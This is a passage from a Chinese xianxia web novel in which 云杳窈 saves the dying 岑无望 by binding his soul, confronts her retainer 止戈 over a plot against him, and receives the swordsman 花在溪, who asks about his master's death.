“如果你愿意与我共享肉身,让我做你的魂影,我就把岑无望放出来。你好好想一下,即便你是灵君转世,可是千年的轮回已经让你的身心俱疲,你在时间蹉跎这么久,没有任何一世能够重现当年灵君风采,你承认吧,你的剑软了,你已经不是纯粹的灵族,心里也早就不能够将灵族复兴大业放在首位,你会犹豫,你会迟疑,都是因为你早就不坚定,既然如此,为什么不能让我来替你做决断呢?” “君上,如果你再次看到同胞亲族在绝望中赴死,还会辗转难眠吗,还会为此流下哪怕一滴眼泪吗?还是说,你已经替我,替我们所有灵族同胞原谅了那些无耻之辈。” 箬竹的脸与云杳窈越来越像,她们就像是镜中影与镜外人。 连一旁的止戈都有些屏气忘言。 “箬竹,你已心生痴念,还不速速醒来。” 云杳窈指尖一道灵力点入箬竹眉心。 很快,箬竹脸上的神情便平静下来,她的身形不断缩小,直到再次便回幼童模样。 箬竹眨了眨眼,似乎不明白刚才发生了什么,她恢复平常模样,可眼底仍有一团化不开的雾气。 拟魂而生,其心无主,最易受外界影响。 “止戈,今日之事,你难逃罪责。” 云杳窈对身边人鲜少有这么不近人情,单刀直入的时候。止戈知道,如果遇上这种情况,那便意味着没有任何回旋余地。 及时认错,揽下罪责,才是最稳妥的处理办法。 她拉过箬竹,半跪请罪:“箬竹深受灵君残念影响,这些年来我一直严加看管,不曾有过纰漏,未料到她今日会做出如此举动,还望君上赎罪。” 问心归鞘,龙吟之声在长阶回荡,余威难消。 现在不是清算旧事的时候,云杳窈道:“带我去找岑无望。” 箬竹在止戈的连番逼问下,终于指了一个方向。 至此,众人才根据她的指引,来到了一座空中林苑。 这座空中林苑的布局很奇特,与卫英台格局类似,不过与卫英台有所不同的是,这里并没有遮天蔽日的登闳灵树,反倒被郁郁葱葱的荒草覆盖。 云杳窈跳下高台,顺着箬竹手指的方向拨开茸茸草木,在一片被倾倒的苍翠中看到了岑无望。 他的身躯被荒草和土壤掩埋大半,覆盖在身上的草木高高隆起,像是一座小小的坟包。 第90章 苑内树林蓊郁,草木深深,岑无望就这么安静躺在阴影里,只有一道光透过丛林斜影,照在他脸上,随风轻轻晃动。 一切都静到不寻常,连虫鸣鸟啼都没有,云杳窈耳边只有过境的风声,还有自己的呼吸声。 云杳窈蹲下身来,将岑无望身上的杂草全部抱走,却发现他半个身体都已经掩埋进土里。 单靠一双手,很难将他身上的灰尘和碎土全数清理干净。 云杳窈闭上双眼,天际的云忽然不再流动,连风声都停止。 万籁俱寂中,突然有一阵强烈的风灌入林苑内。 树影摇曳,清脆的断木声都被掩盖在狂风中,风声几乎要刮走所有杂声。 聚风为刃,云杳窈将岑无望身上未清理干净的杂草和污泥全部抖落干净,然后稳稳抱入怀中。 只有真实感受到他重量倾覆过来,云杳窈心底才有了点踏实感。 明明隔着衣衫,岑无望滚烫的体温还是让云杳窈心底一沉。 每动一下,岑无望的呼吸就会不自觉加重几分。云杳窈刚想试一试他额头温度,指腹才触碰到肌肤,就引来岑无望无意识的皱眉。 可能是因为太疼了,即便是近似于怜慰的轻柔抚摸,也会抽搐痉挛。 云杳窈只好一边抱起他,一边为他输送灵气。孤遐见状不忍,刚想凑上前去,说了句:“我来吧。” 谁知云杳窈并不搭理她,后撤一步,扫视了其余人一圈,抿唇不语,而后掐诀唤剑,预备御剑离开这里。 狂风渐歇,止戈给了剑灵一个眼色,让孤遐在前为 云杳窈带路。 这一路上,云杳窈的脑子里一片空白,直到他们来到另一处空中楼阁,将岑无望安然放置到床榻伤,她都想不出能用什么代价去换一个完整的岑无望。 岑无望这副躯壳已经濒临极限,魂魄被灵力和鬼气两股力量不断拉扯,求生不得,求死不能。 他又不能如邬盈侯一般,夺舍同类躯壳。因为这世上除止戈外,已无灵族血脉。 除非魂飞魄散,否则难得安宁。 然而即便是甘愿承受苦痛,岑无望亦不得长寿。 没有任何灵丹妙药能够拖住他的身体走向衰败。心脉尽断,即便是那颗心仍在跳动,也不能阻止他走向死亡。 无需驻颜术,岑无望的容颜与外表也会一直停留。 因为他的身体已经到了极限,连衰老都一并停止,下一步只能是腐败。 若云杳窈用鉴义替代损坏的脉络,再往岑无望破败的经络与识海中强灌灵力,那么岑无望的下一次睁眼可能不会很久。 但是这会是岑无望最后的机会,一旦失效,失衡的三股力量会使他刹那灰飞烟灭,神魂俱散。 即便是这般勉强苟活下去,往后的每一日里,岑无望都会承担着难以想象的折磨,他不仅要承受新的灵气涌入识海,还要任凭这股力量压制他的原生力量。 识海内的斗争永不止息,万箭穿心般的痛苦只会愈演愈烈,这种痛苦迟早把他逼疯。 如果换做是任何一个人,云杳窈都该问一问他的意见,愿不愿意这么狼狈活下去。 可岑无望不行,云杳窈甚至无法逼自己先唤醒他。 她太害怕失去岑无望,害怕他无法承受这种痛苦,害怕他会先一步离去。 云杳窈坐在塌前,手摩挲着岑无望滚烫的手腕皮肤,久久摸不到脉搏。 时至今日,在这么一个有可能永别的时刻,云杳窈方才懂得岑无望独行数千年的孤独与恐惧。 云杳窈的眼泪啪嗒一下,逃脱眼眶,毫无征兆落了下来,直直砸到岑无望的掌心。 她赶忙去擦,却被人紧紧抓住,十指相扣。 岑无望睁开眼,迟缓地眨了几下眼,好半天才恢复视线。 他一字未发,动了动手指,示意云杳窈离自己近些。 云杳窈以为岑无望有话要说,半个身子凑了过去,还要小心不能压到他。 她侧首附耳,不愿岑无望再多废力气。 岑无望什么都没说,拼劲力气才仰起头。他滚烫的双唇印在云杳窈的眼角,替她抹去不能随心落下的眼泪。 这种温柔反倒让云杳窈更难过。 床帐遮去了大半的关光,云杳窈微微侧脸,看着岑无望的双眼,不知道是不是因为自己的泪还没流干,隔着朦胧水光,居然看见岑无望眼中亦有湿润。 “好疼,杳窈心疼心疼我吧。”岑无望挤出一个笑,想同她开个玩笑活络活络气氛。 云杳窈如他所愿,破涕为笑,笑得脊背都在发抖。 其实很多次,她张口欲言,却什么声音都发不出来。 所以只好一直笑,笑到她足以压制喉间酸涩,问岑无望:“你再陪陪我吧,不要走。” 她咽下一口唾液,像很久以前求他带上自己一起去斩鬼一样撒娇:“岑无望,让我再自私一回,让我再无理取闹一回,好不好?” 生怕岑无望不答应,她又唤起他在灵族时的乳名:“阿冀,我太害怕孤单了,所以不敢放你离开我。你能不能,能不能再陪陪我。” 情深不寿,云杳窈不知道岑无望会不会因此恨上她。 她索性闭上眼,与岑无望额头相抵,发动鉴义,不由分说进入他的识海深处。 岑无望的识海深处,是一片废墟,天地难分难容,灵气与鬼气相容又相斥,早已将这里的一切全数烧了个干净。 那些余热已经尽了,过不了多久,岑无望的身体也会逐渐冰凉。 目之所及,皆为死寂。 云杳窈凭借直觉来到最寂静之处,找到了岑无望识海内的灵体。 他守着一段枯死的树枝,紧闭着双目。在云杳窈靠近时,似乎感应到了什么,这才睁开双眼,沉默着与她对望。 最擅以音惑人心神者反而沉默。灵气与鬼气的双重反噬下,岑无望连在自己的识海内开口说话的能力都一并被剥夺。 云杳窈没有犹豫,借助不断织网覆盖识海的鉴义,将灵气源源不断输送进来。 识海上层汇集灵气所聚成的云团,还未见电闪雷鸣,雨便急急落下。 风与雨催化万物,枯木逢春,焕发新生。 新芽在雨水灌溉下,自灰烬与断木中钻出。原本寂静无声的识海开始重新有了声音,先是风声和雨声,而后是溪流和万物生长的声音。 要想压制岑无望体内原先暴乱的灵力与鬼气,必须是更为浩荡强盛的灵气。 这些新涌入的灵气没再如寻常疗伤一般,助力某一方,而是蛮横清扫识海内所有蠢蠢欲动,想要再次作乱的原生力量。 幻化成识海内的具象场景,就是无尽海浪翻腾。 岑无望与云杳窈两人则是岛屿中心未曾沾染尘与水的例外。 如此浩瀚如海、宏伟壮丽的灵海,让岑无望即将降下来的体温再度升高。他在一片如烈火炙烤的灼热中,本能去寻找令他心安的冰凉怀抱。 耳边犹闻浪涛声,隐约还有交缠的呼吸声。 岑无望迫切想要抓住流逝在指尖的水雾,动作未免急切了些。 所以当云杳窈想要稍稍后退些许,为自己争取喘息机会时,他仍然不肯罢休,将她困在身前。 鬼化会加深心中的欲望,寻常恶鬼可能是贪念、杀念乃至色念,岑无望亦不能逃脱欲望束缚。 可是他的欲望又与寻常恶鬼截然不同。 致使他保持清醒,又不断沉沦的欲望,是他甘之如饴的爱欲。 岑无望想要再低头寻觅唇齿间的依恋纠缠,却被云杳窈下意识躲开的动作唤醒神智。 他在焚身烈火中睁开眼,凝视她的犹豫与退缩,温柔道:“你在害怕?” 与神魂相融不同,即便是情投意合,双修时心怀忐忑的修者仍旧不在少数。 岑无望小心翼翼闻了闻她有些微润的额发,道:“别怕我,没必要做到这一步,识海已修复多半,我们不如……” 他话音未落,感受到云杳窈双腿缠上他腰间。 天旋地转,两人位置再次交换。 云杳窈趴在他肩头,素以声音闷闷的。 “没有害怕。”云杳窈说,“从前灵族王宫,有专人教导过的,他们没人教你吗?” 岑无望喉结微动,修长五指扣住她的腰,叹了口气,语气有些幽怨,甚至有点阴阳怪气:“没有,君上忘了吗?臣只是小君,并未做过君上的君后。” “君上可怜可怜臣的一片痴情忠心,教教我,好不好?” 岑无望全然没有一点作弄云杳窈的愧疚,低垂着眉眼,微微偏过脸,一副虚心求教却略带羞涩的正人君子模样。 只是没有哪个正人君子会在说完这话后,用食指勾住别人的衣带。 岑无望修长的手指搅动两下,轻而易举把本就岌岌可危的结解散。 他虽然被云杳窈压着,但只要目视前方,仍能够与她平视。 云杳窈受不了他如此明目张胆的挑衅,打算在他肩头留了个齿印。 “嘶——”岑无望倒吸一口气,“疼,好疼。” 云杳窈以为是误碰患处,立刻松口。她刚起身,想要询问他哪里不舒服,却被岑无望夺取呼吸。 半晌,两人再度拉开距离,云杳窈晕晕乎乎还不忘问他:“哪里疼?” 其实岑无望只是想找个借口让她注视自己,看见她这么认真,又有些心虚。 他这人就是这样,还有一口气就要装模作样戏弄别人。 本该就此偃旗息鼓,但是看见她这么认真,还不管不顾要与他额头相抵,那点心虚很快就无影无踪。 岑无望顺势道:“我识海不对你设防,你何不一探究竟?” 云杳窈语塞,明知是陷阱,但是她看着他弯起的唇,还有眼中暗流涌动着的期待,终是叹了口气。 罢了,今夜注定是个无眠夜。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 90-100 第91章 鉴义彻底将岑无望的灵魂紧紧捆束。 云杳窈不忍心看见岑无望因此失神空洞的双眼,将头埋进他胸膛,轻声问:“岑无望,你会后悔吗?” 从此以后,鉴义会讲他牢牢锁住,岑无望再无性命之虞,却如提线木偶,再也无法与云杳窈分离。 她对自由的狂热,让她无法能够相信岑无望会毫无 怨恨。 “不会。”岑无望抬手将她锁在怀里。 他剧烈的心跳声就在云杳窈耳边,几乎要将所有声音淹没。 “从几千年前,我能听见声音的那一刻起,就是为了与万灵沟通,以此侍奉我心中的神明。” “杳窈,我的诞生就是为了迎接你的降临,我的存在就是为了传递你的意旨。我唯一的亲人、毕生的爱人、需要终身侍奉的神,都仅你一人而已。” “在过去的日子里,我常常会想,日月长恒,世事易变,要度过几千个春天,才能再次与你擦肩而遇?要听过世间多少悲欢离合,才能再度与你重逢?我有拟声之能,却无法再重现你的声音。” “可如果我不能向世间传递你的声音,我还能做些什么呢,我的存在又有什么意义呢?” 岑无望长长叹了口气。 “但其实这些都不重要。杳窈,就像我说的,我的诞生是为了迎接你的降临,那么我存在的意义,也一定与你有关。” “你愿意留下我,我就不会轻易离去。你又何必,再质疑我的忠心?” 岑无望的掌心轻轻拍着云杳窈的脊背,仿佛要把她心中的不安都尽数抚平。 云杳窈仰起头,双手搂着他的脖子,几乎是整个人都挂在他身上。 “我没有。”她替自己辩解。 “嗯?”岑无望垂首看向她,室内一片寂静,嵘烬山的夜寂静到落针可闻,连虫鸣都没有。 世间好像静得只剩下彼此依靠着的他们。 好像连月光倾斜入户的轻盈都能听到似的,岑无望凝神,静待着云杳窈。 而云杳窈无法言语。 很多时候,人是没有选择的。从出生到死亡,都有一套早已被前人试验出的流程,要如何证明,你所有心甘情愿的选择,都是完全出于自我,而非被驯化后的结果。 云杳窈期待着岑无望的反抗和怨恨,但她抬起头,发现今夜除了满地月光,就只有岑无望眼底取之不尽的爱意。 所以她又把话咽了回去,重新闭上双眼,靠在岑无望身上。 “我困了。” 本来是想装睡,但等云杳窈真的睁开眼,已经是第二天。 岑无望已经不在云杳窈身侧,屋外隐约传来低语,是他和止戈的声音。 鉴义加强了两人的联系,云杳窈刚醒过来,岑无望便有了感应。 “失陪一下。”他对止戈说。 岑无望回到房内,看见云杳窈已经穿戴整齐,只有头发还是散乱的。 他将人按在梳妆台前,熟练拿起发梳,为云杳窈盘了个整齐又简洁的发髻。 梳妆台上没有发钗配饰,他又在床榻旁边摸索了好一阵,最后现所有珠玉琉璃装饰都在夜中不慎掉落,粉身碎骨,无一可用。 岑无望面无愧色:“抱歉。” 云杳窈接过他手中一只折了一半的琉璃钗,有点可惜,道:“才戴过没几次。” 但她看着岑无望的坦荡,又怀疑昨日拔下发钗的不是他。 琉璃钗本就易碎,应当是两人神魂交融时没注意到。 “无妨,我储物袋里还有。”云杳窈道。 岑无望按住她的动作,指尖聚灵,琉璃钗断裂之处生出一段灵枝,枝上又生花苞,花苞随心开放,从中又传出丝丝缕缕的灵气,而这些灵气没有消散,最终聚集在一起,化成一只蝴蝶。 他将这支已经看不出原本的琉璃钗簪入发髻间。 云杳窈晃晃头,看见蝴蝶颤颤巍巍震动翅膀,像是下一秒就能飞走。 岑无望总喜欢弄来些小东西挂在她身上,云杳窈习以为常,所以没有再翻找新的发饰。 窗台边的树木忽然晃动,有个脑袋顶起满枝绿叶,探了进来。 是箬竹。 “下来。”止戈提起她的衣领,将她抱回怀里。 她瞥见正在对镜梳妆的云杳窈,还有帮她摆弄发饰的岑无望,有点尴尬。 她咳了一声,道:“不好意思,一眼没看见,就让她跑过来捣乱了,你们继续。” 云杳窈高声叫住她:“止戈,去镜湖等我。” 止戈背影一顿,抱着箬竹的双臂骤然收紧。 箬竹懵懂仰头,看向止戈的下巴,待止戈应了话,渐渐走远,箬竹才在山道上问:“姐姐,你怎么了?” 止戈将她放开,蹲下身来嘱咐道:“你先去玩一会儿,要乖乖的,我和君上有话要说。” 箬竹摸了摸她皱起的眉心,问她:“那我能去找岑无望玩吗?” 止戈异常干脆:“不行!” 她意识到自己的声音有点吓到箬竹了,所以又解释道:“他是病人,你接近他的话,可能会伤到他,你去找大蛇玩,好不好?” 箬竹点点头,没有异议。 但是却在止戈准备朝镜湖禁区方向走时,冷不丁道:“我会让着他的。” 止戈没有在意,急匆匆往镜湖方向去。 等到了镜湖内,云杳窈一刻不到,她的心一刻不能安定。 思索片刻后,止戈甚至想唤出影子,让影子替自己蒙混过关。 可到底是做贼心虚,犹豫了一会儿,刚想唤出影子,便听见由远及近的脚步声。 “你在仙庭做事这么久,难道也养出了畏缩不前的性子?你从前年纪虽小,却是众侍官里最果敢坚毅的那位。” 止戈手一抖,硬生生把影子按了回去。她硬着头皮行礼问安:“灵君。” 云杳窈嗯了声,挥手从镜湖化灵为影,支起桌椅,先行入座,还不忘招手示意止戈一起落座。 止戈犹豫了会儿,终在云杳窈挑眉望过来时移步至她身侧。 镜湖是此事诸灵脉的交汇处,云杳窈在此没了束缚,能够无视境界,随心所欲。 如果能力回到从前,她几乎能够化灵为万物。 云杳窈屈起指节,扣了扣桌面,茶壶和杯盏应声而出。 她倒了杯浓茶给自己,转眼从同一个壶里倒出第二杯茶,竟是清茶一杯。 推给止戈后,云杳窈才缓缓开口:“说说吧,为何要让箬竹对岑无望下手。” 云杳窈这一系列动作行云流水,可能是因为姿态太过闲适,没有咄咄逼人的压迫感,因此止戈反应过来后,差点被茶水呛到。 “臣没有听明白,请灵君明示。”她抬眉,偷眼望去,却见云杳窈眼风刮了过来,似乎已经全然知晓。 到底不是从前记忆全无的时候,云杳窈愿意为她留个体面,没有厉声斥责。 但该说的话却一字不落,该指点的事绝不会轻易让止戈糊弄过去。 “箬竹本就是由你亲自培养教导,你纵有万般借口,难逃教导无方的罪责。且不说那守山兽唯你马首是瞻,这山上还有青鸟为你时刻报信,你怎么会不知道箬竹在做什么?” “君上恕罪,”止戈单膝跪地,急声为自己辩解,“我确实是知道箬竹贪玩,去找了岑无望,原没有放在心上,只想着她至多将岑无望藏了起来,可并不知晓她要对岑无望下手,更不知道她竟然想要取而代之。” “好吧。”云杳窈已经将浓茶饮尽,还是有种说不出的疲乏倦怠。 “既然如此,那就是箬竹一人之过。岑无望到底是小君,代表的是我的脸面。她既有害人之心,藐视君威,自然不可留,那就按律处死吧。” “君上!”止戈惊呼,她猛然抬头,不敢相信自己听到了什么。 灵君宽仁大度,少以死刑处置族人,她轻飘飘就决定了箬竹的生死,让止戈一时间难以接受。灵族覆灭后,除却岑无望,这就是她唯一的族人。 更何况,这孩子还是她亲手创造,她就算是再无情,也不能放任她落得如此下场。 “箬竹到底算是半个灵族,如今大业未兴,正直用人之际,望君上垂怜,看在她年幼无知的份上,饶恕她的过错。” “我不是不容许你们犯错。仙庭的五百年,你并未救下任何族人,更无长进,连灵力都停滞不前。如今兜兜转转,竟然被贬入下界,成了彻底的边缘人物。你在仙庭举步维艰,有诸多眼睛盯着你,所以我并不怪你对世人无情,对不平之事冷眼旁观,我理解你的为难之处。” “但我真的对你太 失望了,灵族诸多子民被剔除仙籍,贬为凡人。他们身负诅咒,稍有不慎,便是万劫不复的轮回苦海,你却沉溺于虚妄,宁肯画地为牢,让嵘烬山成为禁区,也不肯睁开眼看看外面的变化。” “止戈,最让我心痛的,不是你的无动于衷,而是你的傲慢无礼。” 镜湖内风浪四起,好一会儿才平静下来。 止戈深吸好几口气,还是觉得心中仍有一口郁火在烧。 “止戈知罪,甘愿受罚。” 云杳窈蹙眉:“你有什么罪?你真的知道自己哪里错了吗?” 她再次敲了敲桌子,这次没有清心解渴的茶水出现,茶壶杯盏俱碎,灵气重新融入镜湖之内,化作点点星光。 “罪在未能教导好箬竹,罪在纵容亲族伤害小君,罪在僭越……” 她愤然数着自己的过错,像是和自己较着劲,梗着脖子一字一句道。 良久,仍然等不到云杳窈开口,止戈又补充道:“罪在未能拯救苍生。” “可昨日之事,”止戈话音一转,“若是重来一次,我仍旧会这么做。” “自我成为侍官那日起,唯有忠于君上这一条底线,灵君待我如姐如母,我只是没有救岑无望这个叛徒,我没有错。” “君上心疼岑无望的痴情等待,为何不想想臣的举步维艰?仙庭宫殿寂寥,他们都因为我的出身而忌惮我,我没有一日不想念从前在灵族的日子。我不敢忘记仇恨,所以誓要与仙庭和凡尘划清界限,嵘烬山是我耗尽心血所建,是灵族最后的净土,我守山数百年,未见希望,所以蛰伏。君上今日质疑我,那我也要问一问你。” “是不是百次轮回已经削弱您的意志,所以复兴灵族之事已然无望。你对除了灵族以外的人起了怜悯之心,那谁来可怜可怜我们枉死的族人?” 第92章 止戈说着说着,不由自主地站了起来,她激动道:“至于岑无望,我也遵守当年约定,从未亲手伤过他,昨日之事我纵有教导不严的过失在身,可我与他本就势同水火,冷眼旁观已然是最大让步,君上何必为我强加罪名?” “而且,君上难道不会怨恨吗?当年内乱,说到底与灵族内部几个氏族争权夺利分不开,岑氏因小君岑无望,更是联合其余氏族和仙庭,意图架空灵君,还想要效仿尘世王权,以一家之姓取而代之。” 止戈说着说着,还要再强行缓口气,才不至于让心中怒火越烧越旺。 “灵族内部想分化君上权责早有端倪,族内先有人以舅甥之名代掌母权,而后是什么,灵君猜不到吗?” “贬斥到人间后,原本灵族无需承担的生育痛苦,也要一起承担,我不是没有想过重新将族人们聚起来,修道升仙,可是亲情爱恋本就是剧毒,蛊惑她们走进姻缘陷阱,再用生育捆绑她们的肉身,分化她们的灵力,约束她们的自由。” “这里,”她指着洞外的世界,亦是指向人所能达到的每一寸土壤,“就是仙庭为灵族设好的炼狱。岑氏以为借仙庭之手分化灵君权利,就能吞并其他氏族权利,一家独大,让整个灵族成为岑氏的一言堂,可他根本没有考虑过灵族众生的死活。” “岑无望没有最终称王,他辜负岑长老的期望,是他蠢。但蠢人并非没有野心,灵君今日救下他,他来日必因分权之事谋反,岑氏家风如此,我既忠于君上,不能不替您考虑。灵族再经不起第二次等待,也不可能再容许第二个岑氏登台。” “所以,如果昨日之事重演,我还是无法昧着良心去救他。” 止戈这么说着,再度跪下,她拔出自己的佩剑孤遐,却没有剑指君主,而是将锋芒高举过头顶。 “我心昭昭,若君上不信我的忠心,唯有一死以鉴之。” 孤遐的剑芒将她眼中决绝映出。 云杳窈站起身,将剑握在手中。止戈有孤勇,可当年毕竟年纪太小,心性未定就只身进入仙庭拜师,如今成了这幅偏激模样,情有可原。 止戈闭上双眼,好半晌没等到孤遐落下,她睁开双眼,看见云杳窈笑着叹了口气。 紧接着,孤遐被送回剑鞘内。云杳窈则伸手,用手弹了一下止戈的额头。 “我若真对你有疑心,就不会力排众议,将你送入仙庭修习。对岑无望也是一样。” 云杳窈没有过多解释,只是说:“岑无望虽然是岑氏抚养长大,可终究是灵树所育,与我同根同源,他与我的羁绊很难动摇,我信任他,就像新任你一样。” “你们两位,一个是我同生共死的亲眷,即便历经沧桑,他也不可能违背本能选择背叛。而另一个,则是我的全部希望。” “即便岑无望本人并无争权夺势之心,可众人胁迫之下,他的想法根本无关紧要。岑氏需要的不是岑无望,他们需要的是能够完成权柄过渡交接的小君。若不是灵族覆灭,可能不出三代,就无人记得三代前的灵君了。” “不见血的内部争斗才是最致命的,人间百代君主,已经无人知晓当初的灵族是何等繁盛。” 云杳窈垂下眼睫,抚摸着止戈的发顶。 止戈静默着环抱住她的腰,就像是久不归家的游子终于回到了母亲身边,将脸颊贴在她的身前。 “我们要坐以待毙吗?” “不,我们不能永远被动等待仙庭的审判降临。”云杳窈说,“灵族就是现在的人族,此事无论何人都无法改变,但我们可以再缔造新的历史。” 止戈抬起头,看见云杳窈眼中笃定,她几乎立刻明白了云杳窈的意思。 “襄华?” 云杳窈但笑不语。 止戈便继续往下推测:“你想让那名女婴成为襄华帝王。” 云杳窈说:“不止。” 她指尖灵气轻梳止戈的发尾,缓缓开口:“最佳人选其实是姜娆,也只能是姜娆。” 止戈不明白:“为何?” 云杳窈知道她的顾虑,弯腰轻轻拍了拍她的脊背。 “我知道,你认为姜娆已然受人间礼仪规训,思想根深蒂固,担心她最终会让步妥协,让大权旁落。你还认为,襄华内部激斗不会停止,即便姜娆不肯移交权柄,人族寿数短暂,一旦晚年失势,很有可能失败。” “但是任何事情的起步都充满了艰难险阻。你不要忘记了,人间的王权继承制度已传承千年,姜娆根本不是在复刻灵族老路,她要做的更加艰难,几乎等同于推翻人间有史以来所有记载。人间不是灵族,没有人会愿意等待一个孩童慢慢成长,不止我们等不起,那些虎视眈眈的野心家也等不起。襄华前路道阻且长,我们现在急需的不是精雕细琢而成的完美继承者,而是敏锐果敢的合作者。” 云杳窈的手指抚摸着止戈的后颈,这是个极其脆弱的部位,稍有不慎,便能折颈而亡。 可是止戈未有丝毫畏惧,她不曾对云杳窈的动作产生恐惧。 亦或者说,即便云杳窈下一刻在镜湖内将她杀死,她也不会多说一个字。 云杳窈继续往下解释:“姜娆比姜烛更早察觉出襄华的危机,或许从王都夜游那日起,她就注定要成为襄华的新王。” “你虽然与姜烛私交甚密,可也不能不承认,比起世人眼中宽厚仁义的太子烛,姜娆才是那个亲手结束内乱,替亲族报仇的人。她不曾因上天赋予她的柔弱身体而退缩,更不曾因曾经遭受的区别对待而妄自菲薄,那我们又何必早早断言她的结局?” 云杳窈话音一转,将话题扭转回最初的事上。 “我其实并未打算直接处死箬竹,相反,你有一个真正能够倾注自己感情与心血的人,我很高兴。” 姜娆身体僵硬,手不自觉攥紧了云杳窈的裙摆。 “但是,”下一秒,果然等到了云杳窈的话锋一转,“你确实已经无力教导她,数百年的山中经历不过是纸上谈兵,很多道理并非单单用言语能够讲明白。将她永远困在山上并非良策,你若珍爱这个孩子,不如让她去悟自己的道。” “可是……”止戈忍不住反驳,“箬竹虽已经活了这么多年,终究是孩童心性,我不是不放心她四处闯荡,实在是她尚且稚嫩,还是留在山中多锻炼些时日吧。” 云杳窈摇摇头,态度坚决。 “山中岁月不过虚长年岁。箬竹并没有根据你的态度直接杀死岑无望,她有自己的 思量,也会审时度势。当然,我不会让她就这么在外头横冲直撞,平白招惹祸端。上山前,我曾嘱咐姜娆,让她找工匠重新雕刻新的神女像,前来求取灵木的人不日便会来到嵘烬山,我会让他们将箬竹一并带走。” 话说到这里,止戈意识到,云杳窈这些话并非商议,而是深思熟虑后的向她传递的命令。 可是有处死箬竹的严厉处罚在前,如今的安排倒也并不那么难以接受。 “她先天感情缺失,无喜无悲无怒,若是纵容欲望滋长,恐生心魔。我会封印她的灵力,让她到襄华修行,顺带看顾两个新生的王族血脉。” 同类相处,更容易产生情感。 两个鬼胎无人看顾也是麻烦事,箬竹出自嵘烬山,有她在襄华接应,坐镇王宫,姜娆才好放手去做她们想做的事。 青鸟在洞外鸣叫,止戈闻声,起身回头,姿态警惕。 “有人进了嵘烬山地界。” 她蹙眉,神情紧绷:“这么快,襄华的人马难道已经到了吗?” 云杳窈拍了拍她的肩膀,道:“别紧张,人族的车马再快,也不可能如御剑一般,一日横跨千里。应该是故人来访,我们去迎接一下吧。” 止戈这才舒展眉头,自我安慰道:“是了,襄华王都距离这里路途遥远,以他们的速度,即便是日夜兼程也没有那么快。” 云杳窈先止戈一步走了出去,留她在洞穴内稍作休整,平复心情。 迄今为止,多数情况都在她的掌握之中,即便力量未能达到巅峰,可她仍有后手,自信能够达成所愿。 只一件事尚不明晰,也不清楚何年何月才能探寻到。 是云杳窈曾经为自己立下的禁制,一段自我封印的记忆。只是她不明白,如今前途依然明朗,为何她当初会刻意将这段记忆埋藏起来。 若是担忧这段记忆扰乱道心,阻碍前程,那该就此清理干净,尽可能不留下痕迹才好。 可偏偏,连残存的灵识都刻意与她相见,让她得知记忆的存在。 那就是时机不到。 云杳窈虽然好奇,但她对自己的判断向来有信心,如若现在都不是最好的时机,那将来中有揭晓的时刻。 想到这里,她稍稍平静了些许,唤出问心,御剑至山门阵法有异动的地方。 云杳窈来的还算及时,远远瞧见玄隐在与一名少年缠斗,那少年衣着朴素,甚至与他往日的打扮相比,称得上暗淡无光。 他剑法又快又狠,偏爱将乾阳宗的寻常招式化为己用,化简为繁,让人根本无法预料他的下一剑究竟想要刺向何处。 这种以乾阳宗弟子剑为基础,但又变化极多的招式,曾经引起过无数弟子效仿。 但其中最出彩的仍旧是花在溪本人,他是天生的剑修,是注定能够接替问鼎峰的峰主之位。 假以时日,他可能成为宗门之内,晏珩之下最出色的剑修。 花在溪往日最爱红衣,他本人比衣着还要惹眼,即便是在美人如云的天下第一剑宗,他的五官身材也样样出挑,如晴光照夜,过于吸睛,人立在哪里,哪里就是人群焦点。 可惜他今日遇上的是蛇妖玄隐,任何动作在蛇都太过缓慢,玄隐只是阻拦,并未真正下狠心攻击。 花在溪与玄隐看似不分伯仲,实则已然落于下风。玄隐甚至未显出真身,亦不曾露出獠牙,手中空无一物却能见招拆招,不让寸步。 “让开!”花在溪手持景星,明白这守山灵兽的速度远快过自己。 若是曾经的他,未免会觉得受挫,最引以为傲的速度竟然都不如妖族与生俱来的天赋。 但如今也顾不得那么多了,他招招狠厉,却不得再进半步,缠斗半天也没能摸到山门,不免有些急躁。 花在溪看见玄隐竖瞳紧盯着自己,那种刻在骨子中的畏惧自下而上攀延到头皮。他汗毛直立,仍旧不肯离去。 不过语气倒是比先前缓和了不少。 “我有急事需要求见两位仙子,还望行个方便,我只问一句话,问完便走,绝不多留一刻。” 玄隐嗤笑一声:“你随便一句话就让我放你进去,那我面子往哪搁?” 花在溪无奈停手,做出退让:“在下乾阳宗问鼎峰新任峰主,我愿用手中本命剑作抵,只需一个,不,半个时辰就好。” 玄隐扫了景星一眼,眼神未动,明显看不上景星。 “你这柄剑还不如止戈大人给孩子雕的木剑稀奇,看不上,不稀罕,不放。” 花在溪脸色都黑了,但他一时半会儿拿这个蛇妖没办法,只能强忍着脾气,道:“本命剑在,我作为剑修,怎会弃剑而逃?剑在命在,剑亡人亡,我绝不会有任何欺瞒。” 玄隐被人扰了清梦,亦心中有怨,见他这般不肯知难而退,说话都带着点阴阳怪气的嘲讽:“说实话,我不仅看不上你的剑,也看不上你的人。乾阳宗是什么宗门?宗门立派到现在应该没我活得长吧,不然我怎么没听过。” 玄隐的真身有上古时期的灵蛇血脉,他也是世间罕见的大妖。 比之伯都这种绒毛都没褪干净的幼年灵兽,他担得起一声妖族老祖。守在嵘烬山,不过是一时贪恋地下灵脉,又刚好想借嵘烬山的天然屏障躲过天罚,压根不把这种人族修士放在眼里。 花在溪忍无可忍,再次提剑刺过去。 “敬酒不吃吃罚酒。” 这回玄隐被激怒了,他根本不惯着对方,躲过花在溪一剑后,蛇尾已经露了出来。 他刚要化处真身,被御剑而来的云杳窈制止。 “住手。” 云杳窈落地收剑,挡在两人中间。 玄隐收起尾巴,脸上的鳞片也随着心意,瞬间收得一干二净。 大妖善藏匿自身妖气,若不是那双刻意用来显示自己妖族身份的蛇类竖瞳未收敛掩饰,他看起来与人族无异。 “方才在山上惊闻青鸟啼鸣,便知晓有客人来访,原来是昔日同门,失敬失敬,没有被玄隐伤到吧?” 大蛇的毒牙可没有解药,若是让花在溪负伤离去,又是麻烦一桩。 玄隐冷哼一声,花在溪装作没听见,冷声道:“没有。” “我有话要问你,还请师妹借一步说话。” 云杳窈思索了一下,出于谨慎,没有同意。 她冲玄隐点头,请他先回阵中。待玄隐身形淡去,云杳窈才道:“抱歉,山中暂不方便接待外人,你有什么话,不妨就在这里说。” “好。” 花在溪没有再强求,似乎确实有急事相问,干脆利落,开门见山。 “我师尊过世了,是为了救我性命,强行利用他在归飞千翼戒中设下的禁制,替我挡下一难。我想知道,杀害廖枫汀和我师尊的凶手,是否是同一人?” 